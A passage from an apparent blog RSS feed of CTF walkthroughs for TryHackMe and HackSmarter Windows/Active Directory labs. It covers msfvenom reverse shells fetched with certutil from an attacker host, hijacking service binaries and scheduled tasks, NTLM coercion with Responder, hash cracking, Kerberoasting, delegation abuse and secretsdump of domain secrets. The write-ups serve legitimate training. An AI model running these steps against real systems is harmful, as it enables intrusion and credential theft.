RPC<br>49671/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>49678/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC</pre><p>Nothing immediately stood out as vulnerable, so enumeration became the next priority.</p><h3>Enumerating SMB</h3><p>Since anonymous or guest access is frequently overlooked on internal Windows environments, I first checked SMB shares using NetExec.</p><pre>nxc smb &lt;TARGET_IP&gt; -u guest -p &#39;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1t74lnZZ5KWQnlNvpYQKmw.png" /></figure><p>The results showed that guest authentication was enabled and, more importantly, that the <strong>Public</strong> share was readable.</p><p>This is a common finding during internal assessments. Administrators often expose “temporary” shares that end up containing sensitive information.</p><h3>Exploring the Public Share</h3><p>Using smbclient, I connected to the Public share.</p><pre>smbclient //&lt;TARGET_IP&gt;/Public -U guest</pre><p>Listing the files revealed a single document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*CCeNzG5UzUMexZVb24wYSA.png" /></figure><p>After downloading it:</p><pre>get welcome.txt</pre><p>I discovered something much more valuable than expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*TjmnsLdL9WucbVGKSqx5BA.png" /></figure><p>Leaving default credentials inside a world-readable SMB share is an excellent example of how information disclosure can quickly become an authentication issue.</p><h3>Verifying the Credentials</h3><p>Before attempting remote access, I confirmed the credentials.</p><pre>nxc smb &lt;TARGET_IP&gt; -u thmuser -p &#39;Password1!&#39;</pre><p>Authentication succeeded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1WQ6qrVqAOaM4XXNH7HhKw.png" /></figure><h3>Flag 1</h3><p>Since RDP was enabled, I connected using <strong>Remmina</strong> with the newly discovered credentials.</p><p>After logging in, the first flag was located on the user’s desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ja8Ss_62sicebs-qcmM1qg.png" /></figure><h3>Privilege Escalation: thmuser → notadmin</h3><p>Now that we had an interactive desktop, it was time to look for local privilege escalation opportunities.</p><p>One of the quickest checks on Windows systems is the <strong>Winlogon</strong> registry key, which may contain AutoLogon credentials.</p><pre>reg query &quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&quot;</pre><p>Among the registry values were plaintext credentials for another local user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*oHLvRWxzCJjzpckHw9FNRA.png" /></figure><p>Storing AutoLogon passwords in plaintext is a surprisingly common Windows misconfiguration, particularly on kiosk systems or lab machines.</p><h3>Verifying the Credentials</h3><p>Before attempting to move forward, I confirmed the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jiR9IXzWB5Vb775jr4f13Q.png" /></figure><h3>Flag 2</h3><p>After verifying the credentials, I launched a new command prompt under the notadmin account.</p><pre>runas /user:notadmin cmd.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*dJB9QxN7eI4mpZ5uOlJNmg.png" /></figure><p>Once authenticated, I navigated to the desktop.</p><pre>cd C:\Users\notadmin\Desktop<br>type flag2.txt</pre><p>Flag obtained:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*xwMgPTaFr_RrMC8-iDh9fw.png" /></figure><h3>Privilege Escalation: notadmin → svcadmin</h3><p>The next step was identifying services running under privileged accounts.</p><pre>wmic service get Name,DisplayName,StartName | findstr /i svcadmin</pre><p>A service named <strong>THMSvc</strong> immediately stood out.</p><p>I inspected its configuration.</p><pre>sc qc THMSvc</pre><p>Then checked permissions on the service directory.</p><pre>icacls C:\Windows\THMSvc</pre><p>The directory was writable, meaning the service executable could be replaced.</p><p>This is a classic <strong>service binary hijacking</strong> vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vEBDRFVO6Z1Bb1QI-7PRIw.png" /></figure><h3>Replacing the Service Binary</h3><p>I generated a reverse shell payload.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;ATTACKER_IP&gt; LPORT=4444 -f exe -o svc.exe</pre><p>After starting a Python web server:</p><pre>python3 -m http.server 8000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*vZYXn0K5raOpZTgC7AKsBA.png" /></figure><p>I downloaded the payload onto the target.</p><pre>certutil -urlcache -split -f http://&lt;ATTACKER_IP&gt;:8000/svc.exe C:\Windows\THMSvc\svc.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*GyhD6yZpM-SID1MaCv_v0Q.png" /></figure><p>Finally, I started the vulnerable service.</p><pre>sc start THMSvc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*iJ1QnVreagUC7xynr12DPw.png" /></figure><p>A reverse shell connected back immediately.</p><h3>Flag 3</h3><p>Navigating to the svcadmin desktop revealed the next flag.</p><pre>cd C:\Users\svcadmin\Desktop<br>type flag3.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*NDwrB6GczRrWgNg1e6g3LA.png" /></figure><h3>Privilege Escalation: svcadmin → SYSTEM</h3><p>With access as svcadmin, I continued searching for writable scheduled tasks.</p><p>Inside the Windows Tasks directory I found:</p><pre>C:\Windows\Tasks\cleanup.bat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*S6ATlUHQH8wrWIR0NPSOZA.png" /></figure><p>Checking its permissions confirmed the issue.</p><pre>icacls C:\Windows\Tasks\cleanup.bat</pre><p>The output showed that <strong>svcadmin</strong> had <strong>Modify</strong> permissions.</p><p><em>(Insert Screenshot: cleanup.bat Permissions)</em></p><p>If this batch file executes as SYSTEM, modifying it effectively allows arbitrary code execution with SYSTEM privileges.</p><h3>Hijacking the Scheduled Task</h3><p>I generated another reverse shell executable.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;ATTACKER_IP&gt; LPORT=1337 -f exe -o shell.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*5bsSF82plLv7pI-6UpLkDw.png" /></figure><p>After downloading it onto the target, I replaced the batch file contents.</p><pre>certutil -urlcache -split -f http://&lt;IP&gt;:8000/shell.exe C:\Windows\Tasks\shell.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*XM9tIoTnduNhO-m0ZRgT1Q.png" /></figure><pre>cmd /c &quot;echo C:\Windows\Tasks\shell.exe &gt; C:\Windows\Tasks\cleanup.bat&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*ks7i7oe_NeZuv1bQnrKy8A.png" /></figure><p>When the scheduled task executed, my listener received a new connection.</p><pre>└─$ rlwrap nc -lvnp 1337<br>listening on [any] 1337 ...<br>connect to [192.168.132.104] from (UNKNOWN) [10.145.169.162] 50336<br>Microsoft Windows [Version 10.0.17763.1821]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>C:\Windows\system32&gt;whoami<br>whoami<br>nt authority\system</pre><p>Success.</p><h3>Flag 4</h3><p>The final shell was running with the highest level of privilege available on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*sQd9oehE_q0EdhEaeVW6qw.png" /></figure><p>Mission complete.</p><h3>Final Thoughts</h3><p>This room demonstrates how several individually “minor” security issues can be chained together into a complete compromise.</p><p>The attack path relied on:</p><ul><li>Anonymous SMB share access</li><li>Exposed default credentials</li><li>Plaintext AutoLogon credentials stored in the registry</li><li>Writable service binaries</li><li>Writable scheduled task scripts</li></ul><p>None of these vulnerabilities are particularly sophisticated on their own, but together they provide a straightforward path from <strong>Guest</strong> access all the way to <strong>SYSTEM</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27909ae3af2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proxy — TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@ag3ntorang3cyb3r/tryhackme-proxy-walkthrough-4484873ecf29?source=rss-91510a24d95d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4484873ecf29</guid>
            <dc:creator><![CDATA[Ag3ntOrang3]]></dc:creator>
            <pubDate>Sun, 28 Jun 2026 14:20:34 GMT</pubDate>
            <atom:updated>2026-06-30T08:42:21.657Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*tsF7AQkk2FWLshsFSZQbBQ.png" /></figure><h3>Introduction</h3><p>The <strong>Proxy </strong>room demonstrates how seemingly harmless automation can become an attack vector in an Active Directory environment. Throughout this challenge we’ll enumerate an SMB share, discover an automated file-scanning service, coerce it into authenticating to us, recover a service account password, and abuse Kerberos delegation to compromise the domain controller.</p><p>The room description provides an important clue:</p><blockquote>“Every request has to go through someone… but what if that someone is you?”</blockquote><p>That hint suggests we’ll eventually place ourselves in the middle of an authentication flow rather than directly exploiting a vulnerable service.</p><h3>Initial Enumeration</h3><p>As always, I started with an Nmap scan to understand the attack surface.</p><pre>nmap -sC -sV &lt;TARGET_IP&gt;</pre><p>The results immediately identified the target as an Active Directory Domain Controller.</p><p>Notable services included:</p><ul><li>DNS (53)</li><li>Kerberos (88)</li><li>LDAP (389/3268)</li><li>SMB (445)</li><li>RDP (3389)</li></ul><p>Since SMB was exposed, my next step was to determine whether anonymous or guest access had been configured.</p><h3>Enumerating SMB Shares</h3><p>Using NetExec, I tested guest authentication.</p><pre>nxc smb ctf.local -u guest -p &#39;&#39; --shares</pre><p>To my surprise, guest authentication was enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kt9h2sBJgT6j85MU-gIxQA.png" /></figure><p>Even better, the IT-Shared share was readable and writable.</p><p>Finding a writeable share as an unauthenticated user is always worth investigating because automated services often monitor shared folders.</p><h3>Investigating the Share</h3><p>Connecting with smbclient allowed me to browse the files.</p><pre>smbclient //TARGET/IT-Shared -U guest</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*VFahy7SJiAVAQEaHxmitgw.png" /></figure><p>Three files stood out immediately.</p><pre>IT-Credentials-Backup.txt<br>IT-Onboarding-Checklist.txt<br>IT-Portal.html</pre><p>The credentials backup looked promising at first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*Hji90g02IZOVgw-I3Mv9OA.png" /></figure><p>Unfortunately both accounts had been disabled.</p><p>This is a common trick in CTFs — providing interesting credentials that ultimately lead nowhere.</p><p>The onboarding checklist proved much more valuable.</p><p>It contained information about two automated service accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*N8L7veZR4Vk_SvRwIGGHsg.png" /></figure><p>Rather than attacking the service directly, I could make the service interact with something under my control.</p><h3>Abusing the Automated Scanner</h3><p>The scanner periodically inspected every new file uploaded into the share.</p><p>More importantly, it performed Windows enumeration to inspect <strong>icons</strong> associated with those files.</p><p>That detail matters because Windows may attempt to retrieve icon information from a remote UNC path if a file references one. If the referenced location points to an attacker-controlled SMB server, the client will attempt to authenticate to it as part of accessing the resource.</p><p>Since I had write access to the share, I uploaded a crafted file that I named auth.ps1 designed to trigger that behavior.</p><pre>nano auth.ps1 </pre><pre>Get-ChildItem \\ATTACKER-IP\home</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*8_ioO3XgY65h1yOvUwn7AA.png" /></figure><p>Before doing so, I started Responder on my VPN interface to observe incoming SMB authentication attempts.</p><pre>sudo responder -I tun0 -dwv</pre><p>After uploading the file and waiting for the scanner to process it, Responder captured an incoming NTLMv2 authentication from the service account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_alZa-TRjZe2XsLis7h9fw.png" /></figure><p>This confirmed that the automated scanner was processing newly uploaded files using its own service credentials.</p><h3>Cracking the Captured Hash</h3><p>The captured NetNTLMv2 hash was saved and cracked using Hashcat.</p><pre>hashcat -m 5600 hash.txt rockyou.txt</pre><p>The password was recovered quickly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubEjalImXiULHn0-ssW8Xg.png" /></figure><pre>svc.scanner<br>1summerlove!</pre><p>Before moving forward, I verified the credentials with NetExec.</p><pre>nxc smb TARGET -u svc.scanner -p &#39;1summerlove!&#39;</pre><p>Successful authentication confirmed the credentials were valid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e4Qc-DbMEySamzFGcG7Daw.png" /></figure><h3>Collecting BloodHound Data</h3><p>Whenever I obtain valid Active Directory credentials, one of my first steps is to collect BloodHound data. Even if I already have a path forward, BloodHound provides a visual representation of the domain and often reveals privilege escalation paths that aren’t immediately obvious.</p><p>Using NetExec, I can collect the necessary BloodHound data directly over LDAP:</p><pre>nxc ldap [DC-IP] -u &#39;username&#39; -p &#39;password&#39; --bloodhound --collection All --dns-server [DC-IP]</pre><p>After collecting the BloodHound data, I imported the results into BloodHound and began looking for interesting privilege relationships within the domain.</p><pre>bloodhound-cli install</pre><p>One of the first things I checked was whether any service accounts had delegation privileges. Delegation is a feature in Active Directory that allows one service to authenticate to another service on behalf of a user. While useful for legitimate administration, incorrectly configured delegation can allow an attacker to impersonate privileged users.</p><p>Searching for accounts with delegation rights revealed that the svc.scanner account had <strong>constrained delegation</strong> configured.</p><p>This was an important discovery because the account was not a privileged administrator account, but it had the ability to request service tickets on behalf of other users for specific services. In this case, the account could delegate authentication to the CIFS service on the Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lsCwxYtbToaUmV1d1wzHew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*aOzhL3HFMsomb73GezGOEQ.png" /></figure><h3>Exploiting Constrained Delegation</h3><p>The svc.scanner account was trusted for constrained delegation.</p><p>Using Impacket’s getST.py, I requested a service ticket while impersonating the domain Administrator.</p><pre>getST.py ctf.local/svc.scanner:&#39;1summerlove!&#39; -spn cifs/DC01.ctf.local -impersonate Administrator -dc-ip TARGET</pre><p>The attack succeeded and generated a Kerberos credential cache.</p><pre>Administrator@cifs_DC01.ctf.local.ccache</pre><p>After exporting the cache,</p><pre>export KRB5CCNAME=Administrator@cifs_DC01.ctf.local.ccache</pre><p>I now possessed an Administrator service ticket without ever knowing the Administrator password.</p><h3>Dumping Domain Secrets</h3><p>Using the Kerberos ticket, I dumped the Domain Controller secrets.</p><pre>secretsdump.py -k -no-pass ctf.local/Administrator@DC01.ctf.local</pre><p>Among the results was the Administrator NTLM hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*EVBb1nwYkiqgoz64oTTRsw.png" /></figure><h3>Obtaining Administrator Access</h3><p>Using Pass-the-Hash with Evil-WinRM provided an interactive Administrator shell.</p><pre>evil-winrm -i TARGET -u Administrator -H &lt;Administrator NTLM Hash&gt;</pre><p>From there it was simply a matter of navigating to the Administrator desktop.</p><pre>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; cd ..<br>*Evil-WinRM* PS C:\Users\Administrator&gt; cd Desktop<br>*Evil-WinRM* PS C:\Users\Administrator\Desktop&gt; ls<br><br><br>    Directory: C:\Users\Administrator\Desktop<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----        6/21/2016   3:36 PM            527 EC2 Feedback.website<br>-a----        6/21/2016   3:36 PM            554 EC2 Microsoft Windows Guide.website<br>-a----        5/20/2026   2:24 AM             41 flag.txt<br><br><br>*Evil-WinRM* PS C:\Users\Administrator\Desktop&gt; cat flag.txt<br>THM{S4U2S3lf_REDACTED}</pre><p>The final flag was waiting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nLbklBGMQl3JghlN7yEkvw.png" /></figure><h3>Lessons Learned</h3><p>This room demonstrates how dangerous automation can become when it processes untrusted files.</p><p>Some key takeaways include:</p><ul><li>Never assume guest-writeable SMB shares are harmless.</li><li>File processing services frequently run with elevated domain credentials.</li><li>Metadata and icon extraction can trigger unintended network authentication.</li><li>Captured NetNTLMv2 hashes often become the first stepping stone into Active Directory.</li><li>Constrained Delegation can be catastrophic when assigned to the wrong service account.</li></ul><p>What initially looked like a simple writable file share ultimately led to complete Domain Administrator compromise through a chain of small but significant misconfigurations.</p><p>Overall, this was an excellent room for learning about SMB authentication coercion, service accounts, and Kerberos constrained delegation in Active Directory.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4484873ecf29" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MartiniAD — HackSmarter Walkthrough]]></title>
            <link>https://medium.com/@ag3ntorang3cyb3r/martiniad-hacksmarter-walkthrough-f52d095ca7f3?source=rss-91510a24d95d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f52d095ca7f3</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Ag3ntOrang3]]></dc:creator>
            <pubDate>Sat, 27 Jun 2026 22:30:58 GMT</pubDate>
            <atom:updated>2026-06-27T22:37:49.287Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*_nYyX1HAyZeVa_kHsbXkCg.png" /></figure><h3>Introduction</h3><p>Martini Bars recently suffered a corporate security breach, prompting the compliance and risk team to authorize an internal black-box penetration test against one of their branch offices. The objective was straightforward: assess what an attacker with nothing more than VPN connectivity could accomplish without any prior knowledge of the environment.</p><p>The assessment begins with no credentials and only network access through the provided VPN.</p><h3>Initial Enumeration</h3><p>The first step in any internal assessment is identifying available services.</p><p>A full TCP scan quickly revealed that the target was an Active Directory Domain Controller.</p><pre>nmap -sC -sV -Pn -p- 10.1.178.39</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*67rMF9YTfv9m_S94paRkZA.png" /></figure><p>The scan identified the standard services expected from a Windows Domain Controller:</p><ul><li>Kerberos (88)</li><li>LDAP (389)</li><li>SMB (445)</li><li>DNS (53)</li><li>WinRM (5985)</li><li>RDP (3389)</li></ul><p>The LDAP banner also disclosed the internal Active Directory domain:</p><pre>DRY.MARTINI.BARS</pre><p>At this point there were no credentials, making SMB enumeration the logical next step.</p><h3>Anonymous SMB Enumeration</h3><p>Many organizations mistakenly believe anonymous SMB access is harmless. In reality, even limited guest access can expose sensitive information.</p><p>Using NetExec with a null session immediately revealed an interesting share.</p><pre>nxc smb 10.1.178.39 -u &#39;&#39; -p &#39;&#39; --shares</pre><p>Among the default administrative shares was a custom share named <strong>notes</strong>.</p><p>Since anonymous users could access it, I connected using smbclient.</p><pre>smbclient //10.1.178.39/notes</pre><p>Inside was a single file: notes.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3aBqyOzujhtNF7j4zZt_w.png" /></figure><p>The file notes.txt contained credentials for user mprice and the password *martini*.</p><p>This is a perfect example of operational security failure.</p><p>What looked like an employee’s personal notes also contained plaintext credentials stored inside a publicly accessible SMB share.</p><p>Those credentials would become the foothold into the domain.</p><h3>Validating the Credentials</h3><p>Before attempting further attacks, it’s always worth confirming that newly discovered credentials are valid.</p><pre>nxc smb 10.1.178.39 -u mprice -p &#39;*martini*&#39; --shares</pre><p>Authentication succeeded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8aywnjDimF9l4OgsaKKJA.png" /></figure><h3>Kerberoasting</h3><p>A common next step after obtaining a standard domain account is checking for Service Principal Names (SPNs).</p><p>Service accounts often have long-lived passwords that administrators rarely rotate, making Kerberoasting an effective attack against poorly managed environments.</p><p>Using NetExec’s built-in Kerberoasting functionality:</p><pre>nxc ldap 10.1.178.39 -u mprice -p &#39;*martini*&#39; --kerberoasting kerb.txt</pre><p>The request returned a single service account for ATHENA_SVC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxGZvdyVLGghMpbL54InzQ.png" /></figure><p>The encrypted Kerberos service ticket was saved for offline password cracking.</p><p>Since Kerberoasting is performed offline, no password guesses are sent to the domain controller, making this attack significantly quieter than password spraying or brute force attempts.</p><h3>Cracking the Service Ticket</h3><p>Using Hashcat together with the RockYou wordlist quickly recovered the service account password.</p><pre>hashcat kerb.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v8ZWi0vJzy1ZKoetpNss1A.png" /></figure><p>Recovered password: 1dirtymartini</p><p>The service account credentials were then validated successfully against SMB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_KaBEzUzAEciUyZB4LUpw.png" /></figure><p>The next objective was determining what privileges the service account actually possessed.</p><h3>Remote Access</h3><p>Since the <strong>ATHENA_SVC</strong> account was a member of the <strong>Remote Management Users</strong> group, the next logical step was to determine whether WinRM access was available.</p><p>Using the recovered credentials, I established a remote session with Evil-WinRM.</p><pre>evil-winrm -i 10.1.178.39 -u athena_svc -p &#39;1dirtymartini&#39;</pre><p>Authentication succeeded immediately, confirming the account had remote management privileges.</p><p>With shell access established, I began enumerating the user’s profile for anything that might assist in privilege escalation.</p><p>The desktop contained only the default Windows shortcuts and EC2 documentation.</p><pre>PS C:\Users\ATHENA_SVC\Desktop&gt; ls</pre><pre>EC2 Feedback.url<br>EC2 Microsoft Windows Guide.url<br>Microsoft Edge.lnk</pre><p>After downloading and reviewing the available files, nothing useful was discovered. No configuration files, scripts, passwords, or saved credentials were present.</p><p>While this initially appeared to be a dead end, it’s an important reminder that successful penetration tests often involve exhausting one avenue before pivoting to another. Rather than spending excessive time searching an otherwise clean user profile, I shifted focus back to Active Directory enumeration.</p><blockquote><strong><em>Takeaway:</em></strong><em> Remote code execution is valuable, but it doesn’t always immediately lead to privilege escalation. Knowing when to pivot is just as important as finding the initial foothold.</em></blockquote><h3>Enumerating Domain Users</h3><p>Since the service account was authenticated to the domain, I next enumerated the available user accounts.</p><p>NetExec makes this straightforward by exporting every discovered account into a file that can later be used for additional attacks.</p><pre>nxc smb 10.1.178.39 \<br>-u athena_svc -p &#39;1dirtymartini&#39; --users-export users.txt</pre><p>The enumeration identified six accounts within the domain.</p><pre>Administrator<br>Guest<br>krbtgt<br>mprice<br>athena.t0<br>ATHENA_SVC</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jNryOhtvILK4KXKnQwA6Cw.png" /></figure><p>At first glance, athena.t0 immediately stood out.</p><p>In many enterprise environments, service accounts are created alongside administrator or developer accounts, and unfortunately password reuse between them is more common than organizations would like to admit.</p><p>That observation suggested a quick password reuse test was worth attempting.</p><h3>Password Reuse Attack</h3><p>Rather than blindly brute forcing passwords, I performed a very small and targeted password spray using the password that had already been recovered through Kerberoasting.</p><pre>nxc smb 10.1.178.39 -u users.txt -p &#39;1dirtymartini&#39; --shares</pre><p>Most authentication attempts failed, but one immediately succeeded.</p><p>Even more importantly, NetExec reported the account as <strong>Pwn3d</strong>, indicating local administrative privileges on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6uUSbTXJEk_S3UsvLX6Hbw.png" /></figure><p>This represented the critical turning point of the assessment.</p><p>A weak service account password had now resulted in the compromise of an administrative account simply because the same password had been reused.</p><p>From an attacker’s perspective, this is one of the highest-return scenarios in an Active Directory environment.</p><blockquote><strong><em>Defender Takeaway:</em></strong><em> Password reuse between privileged users and service accounts effectively eliminates the security benefit of separate accounts. Every privileged account should have a unique, randomly generated password managed through a privileged access management (PAM) solution or a password vault.</em></blockquote><h3>Dumping Domain Credentials</h3><p>With administrative privileges established, the next objective was extracting credential material from the Domain Controller.</p><p>Impacket’s secretsdump.py is capable of remotely retrieving password hashes, cached credentials, LSA secrets, and ultimately the Active Directory database when executed with sufficient privileges.</p><pre>secretsdump.py &#39;athena.t0:1dirtymartini@DC01.DRY.MARTINI.BARS&#39;</pre><p>The dump successfully recovered several categories of sensitive information, including:</p><ul><li>Local SAM hashes</li><li>Cached domain credentials</li><li>LSA Secrets</li><li>DPAPI machine keys</li><li>Machine account credentials</li><li>The NTDS database</li></ul><p>Most significantly, the command recovered the domain’s <strong>krbtgt</strong> account hash.</p><pre>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:REDACTED:::</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hofFIVXIWCIy44skEO4Nkw.png" /></figure><p>Possession of the <strong>krbtgt</strong> NTLM hash represents complete compromise of the Active Directory domain.</p><p>Because Kerberos ticket signing relies on the <strong>krbtgt</strong> account, an attacker with this hash can forge valid Ticket Granting Tickets (Golden Tickets), allowing persistent domain administrator access even if individual user passwords are later changed.</p><p>At this stage, the objectives of the engagement had been fully achieved.</p><p>The attack chain required no software vulnerabilities or exploit development — only a series of common operational security weaknesses that compounded into complete domain compromise.</p><h3>Conclusion</h3><p>The objective of this engagement was to obtain the <strong>krbtgt</strong> account hash from the Active Directory domain. By the end of the assessment, that objective had been successfully achieved through a series of misconfigurations and operational security mistakes rather than any software vulnerability.</p><p>The complete attack path looked like this:</p><ol><li>Anonymous SMB access exposed a publicly accessible <strong>notes</strong> share.</li><li>A plaintext credential (mprice) was discovered inside a text file.</li><li>The low-privileged user account was used to perform Kerberoasting.</li><li>The <strong>ATHENA_SVC</strong> service account password was cracked offline.</li><li>Password reuse between <strong>ATHENA_SVC</strong> and <strong>athena.t0</strong> resulted in administrative access.</li><li>Administrative privileges allowed secretsdump.py to extract the NTDS database, including the <strong>krbtgt</strong> hash.</li></ol><p>Although none of these issues alone would necessarily lead to a complete domain compromise, their combination created a straightforward attack path from anonymous access to full control of the Active Directory environment.</p><h3>Key Lessons Learned</h3><p>This machine highlights several security fundamentals that organizations should prioritize:</p><ul><li><strong>Disable anonymous access</strong> to SMB shares unless it is explicitly required.</li><li><strong>Never store credentials in plaintext</strong>, especially in shared locations.</li><li><strong>Use strong, unique passwords</strong> for service accounts and avoid dictionary-based passwords.</li><li><strong>Prevent password reuse</strong> between service accounts, user accounts, and privileged accounts.</li><li><strong>Regularly audit Service Principal Names (SPNs)</strong> to identify Kerberoastable accounts and rotate service account passwords.</li><li><strong>Implement a privileged access management (PAM) solution</strong> or a password vault to manage administrative credentials securely.</li></ul><h3>Final Thoughts</h3><p>What makes this challenge particularly realistic is that it doesn’t rely on exploiting a zero-day vulnerability or abusing an obscure Active Directory feature. Instead, it demonstrates how a series of common security oversights can compound into a complete domain compromise.</p><p>From an attacker’s perspective, the progression felt natural: enumerate, identify exposed information, validate credentials, expand access, and escalate privileges. From a defender’s perspective, breaking any one of these links in the attack chain could have prevented the compromise of the <strong>krbtgt</strong> account.</p><p>Thank you for following along with this walkthrough. I hope it provides insight into both the offensive techniques used during an internal Active Directory assessment and the defensive practices that can help prevent similar attack paths in real-world environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f52d095ca7f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Forward — TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@ag3ntorang3cyb3r/forward-tryhackme-walkthrough-64a51ef00a07?source=rss-91510a24d95d------2</link>
            <guid isPermaLink="false">https://medium.com/p/64a51ef00a07</guid>
            <dc:creator><![CDATA[Ag3ntOrang3]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 20:11:04 GMT</pubDate>
            <atom:updated>2026-06-21T21:36:25.276Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*7la9qlHH_oTz78aNjRrysQ.png" /></figure><p>Jr Penetration Tester Path — Active Directory Security Testing Basics</p><h3>Introduction</h3><p>Forward is an Active Directory-focused TryHackMe room that demonstrates how a seemingly low-privileged user can escalate all the way to Domain Administrator through poor credential management and misconfigured Active Directory permissions.</p><p>In this walkthrough, we’ll move from an initial set of user credentials to full domain compromise by abusing Resource-Based Constrained Delegation (RBCD) and Kerberos S4U extensions.</p><h3>Initial Enumeration</h3><p>The room provides an initial set of credentials:</p><pre>j.smith : JSmith@IT2024</pre><p>The first step was verifying access and enumerating available SMB shares.</p><pre>nxc smb 10.146.184.225 -u j.smith -p &#39;JSmith@IT2024&#39; --shares</pre><p>The credentials were valid and revealed several accessible shares:</p><ul><li>Downloads</li><li>NETLOGON</li><li>SYSVOL</li></ul><p>At this stage there was no obvious path to administrative access, so further domain enumeration was required. The Downloads share did not provide any leads.</p><h3>NMAP Scan</h3><pre>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-21 19:04:12Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ctf.local, Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: ctf.local, Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DC01.ctf.local<br>| Not valid before: 2026-05-19T02:27:27<br>|_Not valid after:  2026-11-18T02:27:27<br>| rdp-ntlm-info: <br>|   Target_Name: CTF<br>|   NetBIOS_Domain_Name: CTF<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: ctf.local<br>|   DNS_Computer_Name: DC01.ctf.local<br>|   DNS_Tree_Name: ctf.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 